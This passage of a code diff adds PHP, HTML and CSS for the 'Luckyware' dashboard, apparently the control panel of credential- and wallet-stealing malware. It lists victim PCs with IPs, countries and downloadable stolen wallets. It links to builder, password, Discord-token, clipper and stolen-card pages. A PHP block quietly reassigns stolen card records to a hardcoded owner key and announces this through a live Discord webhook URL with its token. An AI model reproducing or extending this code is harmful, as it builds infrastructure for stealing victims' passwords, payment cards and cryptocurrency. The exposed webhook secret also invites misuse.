||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
if (isset($_POST['id'])) {
|
||||
|
||||
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
|
||||
$stmtUpdate = $conn->prepare($sqlUpdate);
|
||||
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
|
||||
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
|
||||
|
||||
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
|
||||
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
|
||||
|
||||
|
||||
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
|
||||
|
||||
|
||||
if ($stmtUpdate->execute()) {
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<title>Wallets</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Custom DataTable styles */
|
||||
#DashTable {
|
||||
border-radius: 0.5rem;
|
||||
background-color: var(--background);
|
||||
border-collapse: separate;
|
||||
border-spacing: 0 0.7rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#DashTable th {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
font-weight: 500;
|
||||
color: #e7e5e4;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--background);
|
||||
}
|
||||
|
||||
#DashTable tr {
|
||||
background-color: var(--background);
|
||||
border-radius: 0.5rem;
|
||||
}
|
||||
|
||||
#DashTable td {
|
||||
background-color: #151515;
|
||||
color: #a8a29e;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid var(--background);
|
||||
padding: 10px;
|
||||
font-weight: 100;
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
|
||||
#DashTable td:first-child {
|
||||
border-radius: 0.5rem 0 0 0.5rem;
|
||||
/* Rounded corners on the left side */
|
||||
}
|
||||
|
||||
#DashTable td:last-child {
|
||||
border-radius: 0 0.5rem 0.5rem 0;
|
||||
/* Rounded corners on the right side */
|
||||
}
|
||||
|
||||
#DashTable tbody tr:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
color: #D6D3D1;
|
||||
}
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button {
|
||||
background-color: #151515;
|
||||
/* Add !important to ensure white color */
|
||||
border: none;
|
||||
padding: 7px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
color: #a8a29e;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
|
||||
background-color: #850000;
|
||||
color: #e7e5e4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Text color for elements like "Showing x to x of x entries" */
|
||||
.dataTables_info,
|
||||
.dataTables_length,
|
||||
.dataTables_paginate,
|
||||
.dataTables_filter {
|
||||
color: #a8a29e !important;
|
||||
margin-bottom: 7px;
|
||||
/* Add space below these elements */
|
||||
}
|
||||
|
||||
/* Add space between "Show entries" and pagination controls */
|
||||
.dataTables_length,
|
||||
.dataTables_paginate {
|
||||
margin-top: 7px;
|
||||
}
|
||||
|
||||
/* Color for the "Show x entries" dropdown and options */
|
||||
.dataTables_length select {
|
||||
background-color: #111111 !important;
|
||||
color: #d6d3d1 !important;
|
||||
border: 1px solid #181818 !important;
|
||||
/* Remove border to make it borderless */
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* Color for the pagination controls */
|
||||
.dataTables_paginate a,
|
||||
.dataTables_paginate span,
|
||||
.dataTables_paginate .ellipsis {
|
||||
background-color: #111111;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
padding: 5px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Hover color for pagination controls */
|
||||
.dataTables_paginate a:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Current page number color */
|
||||
.dataTables_paginate .current {
|
||||
background-color: #850000;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* DataTable search box styles */
|
||||
.dataTables_wrapper .dataTables_filter input {
|
||||
background-color: var(--background);
|
||||
color: #ffffff;
|
||||
border: 1px solid #181818;
|
||||
/* Add a 1px gray border */
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* DataTable ordering arrow styles */
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
/* DataTable table responsive */
|
||||
.table-responsive {
|
||||
background-color: #111111;
|
||||
color: #D6D3D1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
/* DataTable scrollbar styles (if needed) */
|
||||
#DashTable::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-thumb {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-track {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
</style>
|
||||
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
|
||||
<div class="grid sm:grid-cols-2 px-5 py-3">
|
||||
<div class="1 text-left">
|
||||
<div class="flex">
|
||||
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
|
||||
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
|
||||
class="textCol">Dashboard</span></h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-wallet textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
|
||||
|
||||
|
||||
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-wallet mr-1 icon"></i>
|
||||
<span id="cookiesHeaderText"> Wallets</span>
|
||||
</h1>
|
||||
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.entry-search-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
/* Vertically center the items */
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<div class="2 text-right mx-5 mt-2">
|
||||
|
||||
<div class="grid grid-cols-4 gap-5">
|
||||
<div class="0">
|
||||
<h1 style="color: #111111;">s</h1>
|
||||
</div>
|
||||
<div class="1">
|
||||
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
|
||||
|
||||
<option value="10">10</option>
|
||||
<option value="25">25</option>
|
||||
<option value="50">50</option>
|
||||
<option value="75">75</option>
|
||||
<option value="100">100</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="2 col-span-2">
|
||||
<div class="sc-container">
|
||||
<input data-sc="" id="searchInput"
|
||||
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
|
||||
placeholder="Search Logs" type="text">
|
||||
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.truncate-cell {
|
||||
max-width: 100px;
|
||||
/* Adjust the maximum width as needed */
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
</style>
|
||||
<div class="table-responsive">
|
||||
<table id="DashTable" class="table-fixed w-full mt-5">
|
||||
<thead class="">
|
||||
<tr class="text-center">
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Pc Name </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP | Country </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Wallet Type </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Download </h1>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="logsContent" class="mt-5">
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
/* Initial color */
|
||||
transition: color 0.3s ease-in-out;
|
||||
/* Color transition with animation */
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
/* Color on hover */
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
function deleteRecord(id) {
|
||||
if (confirm('Are you sure you want to delete this record?')) {
|
||||
// Create a hidden form and submit it with the ID
|
||||
var form = document.createElement('form');
|
||||
form.method = 'post';
|
||||
form.action = '';
|
||||
var input = document.createElement('input');
|
||||
input.type = 'hidden';
|
||||
input.name = 'id';
|
||||
input.value = id;
|
||||
form.appendChild(input);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
}
|
||||
|
||||
function opensite(url) {
|
||||
window.open(url);
|
||||
}
|
||||
|
||||
function copyText(element) {
|
||||
|
||||
/* Copy text into clipboard */
|
||||
navigator.clipboard.writeText(element);
|
||||
}
|
||||
</script>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Function to refresh the DataTable
|
||||
function refreshDataTable() {
|
||||
var table = $('#DashTable').DataTable();
|
||||
table.ajax.reload(null, false); // Reload without resetting page
|
||||
}
|
||||
|
||||
// Function to initialize the DataTable
|
||||
function initializeDataTable() {
|
||||
// Initialize DataTable with server-side processing
|
||||
var table = $('#DashTable').DataTable({
|
||||
serverSide: true,
|
||||
"lengthMenu": [10, 25, 50, 75, 100],
|
||||
"language": {
|
||||
"search": "Search Data: " // Replace with your custom text
|
||||
},
|
||||
ajax: {
|
||||
url: 'wlts31.php', // Replace with the correct path to your PHP script
|
||||
type: 'POST',
|
||||
beforeSend: function () {
|
||||
// Show the header text with a loading animation
|
||||
$('#cookiesHeaderText').html(' Wallets <i class="fas fa-spinner fa-spin"></i>');
|
||||
},
|
||||
complete: function () {
|
||||
// Restore the header text to "Cookies" after the data is loaded
|
||||
$('#cookiesHeaderText').html(' Wallets');
|
||||
}
|
||||
},
|
||||
columns: [{
|
||||
data: 0
|
||||
},
|
||||
{
|
||||
data: 1
|
||||
},
|
||||
{
|
||||
data: 2
|
||||
},
|
||||
{
|
||||
data: 3
|
||||
}
|
||||
],
|
||||
paging: true,
|
||||
ordering: true,
|
||||
dom: 'lrtip' // This specifies the DataTables elements to display
|
||||
});
|
||||
|
||||
// Add an event listener to your custom search input
|
||||
$('#searchInput').on('keyup', function () {
|
||||
// Get the input value
|
||||
var inputValue = $(this).val();
|
||||
|
||||
// Use DataTables' search() method to filter the table
|
||||
table.search(inputValue).draw();
|
||||
});
|
||||
|
||||
// Add an event listener to the entry number drop-down
|
||||
$('#entriesSelect').on('change', function () {
|
||||
// Get the selected value
|
||||
var selectedValue = $(this).val();
|
||||
|
||||
// Change the number of entries displayed per page
|
||||
table.page.len(selectedValue).draw();
|
||||
});
|
||||
|
||||
// Hide the default DataTables length dropdown
|
||||
$('div.dataTables_length').css('display', 'none');
|
||||
|
||||
// Optionally, you can remove the label as well
|
||||
$('label[for="DashTable_length"]').css('display', 'none');
|
||||
}
|
||||
|
||||
// Call the initializeDataTable function on page load
|
||||
$(document).ready(function () {
|
||||
initializeDataTable();
|
||||
|
||||
// Refresh the DataTable every 1 minute (60000 milliseconds)
|
||||
setInterval(refreshDataTable, 60000);
|
||||
});
|
||||
</script>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<style>
|
||||
@keyframes topFlyIn {
|
||||
from {
|
||||
transform: translateY(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the left-flying animation keyframes */
|
||||
@keyframes leftFlyIn {
|
||||
from {
|
||||
transform: translateX(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the right-flying animation keyframes */
|
||||
@keyframes rightFlyIn {
|
||||
from {
|
||||
transform: translateX(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the bottom-flying animation keyframes */
|
||||
@keyframes bottomFlyIn {
|
||||
from {
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Apply the animation to elements with the respective class */
|
||||
.top-flying {
|
||||
animation-name: topFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(-100%);
|
||||
}
|
||||
|
||||
.left-flying {
|
||||
animation-name: leftFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
|
||||
.right-flying {
|
||||
animation-name: rightFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(100%);
|
||||
}
|
||||
|
||||
.bottom-flying {
|
||||
animation-name: bottomFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(200%);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function () {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function () {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,67 @@
|
||||
:root {
|
||||
--background: #151515;
|
||||
--secondary-background: #111111;
|
||||
--main-color: #850000;
|
||||
--main-hover-color: #258efe;
|
||||
--discord-col: #7289DA;
|
||||
--paypal: #253B80;
|
||||
}
|
||||
.icon {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btn:hover .icon {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
.icon2 {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btn2:hover .icon2 {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
.iconB {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btnB:hover .iconB {
|
||||
color: black;
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: rgb(207, 203, 202);
|
||||
}
|
||||
input:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
max-width: 600px;
|
||||
margin: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.drop-in {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 500ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
|
||||
@keyframes drop-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(-100px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translate(0px);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
.even {
|
||||
border-radius: 2rem;
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
:root {
|
||||
--background: #151515;
|
||||
--secondary-background: #111111;
|
||||
--main-color: #850000;
|
||||
--main-hover-color: #258efe;
|
||||
--discord-col: #7289DA;
|
||||
--paypal: #253B80;
|
